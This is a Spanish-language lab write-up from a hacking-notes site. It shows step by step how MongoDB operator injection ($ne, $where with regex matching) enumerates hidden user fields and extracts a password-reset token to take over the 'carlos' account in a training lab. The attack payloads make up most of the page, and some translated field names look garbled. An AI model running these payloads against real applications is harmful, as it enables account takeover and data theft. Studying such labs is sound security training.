> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md).

# Extracción de campos desconocidos con operadores NoSQL

### Explotando la inyección de operadores NoSQL para extraer campos desconocidos

La funcionalidad de búsqueda de usuarios de este laboratorio se basa en una base de datos NoSQL MongoDB. Es vulnerable a una inyección NoSQL. / El objetivo es conectarse como **carlos**.

<figure><img src="/files/5f7e07f4d90240fdb5255484a4580259ba9f9f23" alt=""><figcaption></figcaption></figure>

#### Contexto inicial

Hay una función **Olvidé mi contraseña**.

La consulta enviada por POST a `/forgot-password` tiene este aspecto:

```bash
csrf=55UFZpEwaPzlRg9d0CRKOf8OZ4GSm2jj&username=test
```

### Prueba de inyección NoSQL en el inicio de sesión

Al intentar inyectar NoSQL en el formulario de inicio de sesión:

```json
{
  "username": "carlos",
  "password": { "$ne": "x" }
}
```

La cuenta está bloqueada y aparece el siguiente mensaje:

> Cuenta bloqueada: restablece tu contraseña

<figure><img src="/files/525ba8a43156be2bbbcdf16280742137221d30db" alt=""><figcaption></figcaption></figure>

#### Bloqueo con `$where`

Se observa que añadir el `$where` campo es interpretado por el servidor:

* Si `$where` es `1` → la cuenta sigue bloqueada
* Si `$where` merece la pena `0` → el bloqueo desaparece

Ejemplo:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "0"
}
```

Esto confirma que `$where` el operador es ejecutable.

<figure><img src="/files/b34ba29900637686b736d8bf8f6eb2e67b1bbf0b" alt=""><figcaption></figcaption></figure>

#### Limitación y cambio de estrategia

La idea original sería usar `$where` para comprobar directamente la contraseña, por ejemplo:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.password...."
}
```

Sin embargo, como la cuenta está bloqueada, este enfoque no es utilizable. / Por lo tanto, debes pasar por un **restablecimiento de contraseña**.

#### Listar campos del objeto de usuario

`$where` se usa para listar las claves del objeto de usuario con:

```javascript
Object.keys(this)[0].match('^.{X}Y.*')
```

Solicitud completa:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "Object.keys(this)[0].match('^.{X}Y.*')"
}
```

<figure><img src="/files/abd48ee51da90dd978cdca2c30a661550208d254" alt=""><figcaption></figcaption></figure>

* `X`: posición del carácter (0-20)

<figure><img src="/files/e757c7eedecdb44c2353e302ce6a599fd5d40a85" alt=""><figcaption></figcaption></figure>

* `Y`: caracteres probados (`a-z`, `A-Z`, `0-9`)

<figure><img src="/files/26e29e853e4518184f0b711bbbc8a52c762f9823" alt=""><figcaption></figcaption></figure>

Ataque enviado mediante **Intruder** por **Bomba de clúster**

#### Resultados de la enumeración de campos

Según la longitud de la respuesta (**Content-Length**):

* `Object.keys(this)[0]` → `id`

<figure><img src="/files/00c69088f323f0745a015b00ad8d3e57498903cb" alt=""><figcaption></figcaption></figure>

```javascript
"$where": "Object.keys(this)[1].match('^.{X}Y.*')"
```

* `Object.keys(this)[1]` → `username`

<figure><img src="/files/42ccbf1ddfccd6fad443cd2545ca1795da33d9d0" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[2]` → `contraseña`

```javascript
"$where": "Object.keys(this)[2].match('^.{X}Y.*')"
```

<figure><img src="/files/9127cecc1c6a1ca8afb4bbc86e70f04077c2bd0e" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[3]` → `correo electrónico`
* `Object.keys(this)[4]` → `passwordReset`

" El `passwordReset` campo solo aparece si se ha activado un restablecimiento de contraseña para **carlos**.

```javascript
"$where": "Object.keys(this)[4].match('^.{X}Y.*')"
```

#### Confirmación del `passwordReset` Campo

<figure><img src="/files/aa17bf7ccf470a54bd767bf84493307fdec37a87" alt=""><figcaption></figcaption></figure>

Acceso al endpoint:

```bash
/forgot-password?passwordReset=
```

Respuesta:

> Token inválido

El campo existe

<figure><img src="/files/52ca2ff55c0371a09f26faa2f7ab5febbba0a376" alt=""><figcaption></figcaption></figure>

#### Lista de tokens `passwordReset`

A continuación se extrae el valor del token:

```javascript
"$where": "this.passwordReset.match('^.{X}Y.*')"
```

```javascript
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.passwordReset.match('^.{X}Y.*')"
}
```

* `X`: posición del carácter
* `Y`: caracteres posibles

<figure><img src="/files/814bfe153074c16de9c7cb5b64d4d284eebf68a0" alt=""><figcaption></figcaption></figure>

* Enviar mediante **Intruder** (Bomba de clúster)

#### Resultado

El **carlos** se recupera el token de restablecimiento:

```bash
5d252f7e28f468ee
```

<figure><img src="/files/814bfe153074c16de9c7cb5b64d4d284eebf68a0" alt=""><figcaption></figcaption></figure>

#### Explotación final

Con este token, puedes acceder a la función de restablecimiento de contraseña y establecer una nueva contraseña para **carlos**, lo que te permite iniciar sesión en tu cuenta y validar el laboratorio.

<figure><img src="/files/bdbc726261dd5f4c6cf05ed1348e8d2d167f61b2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
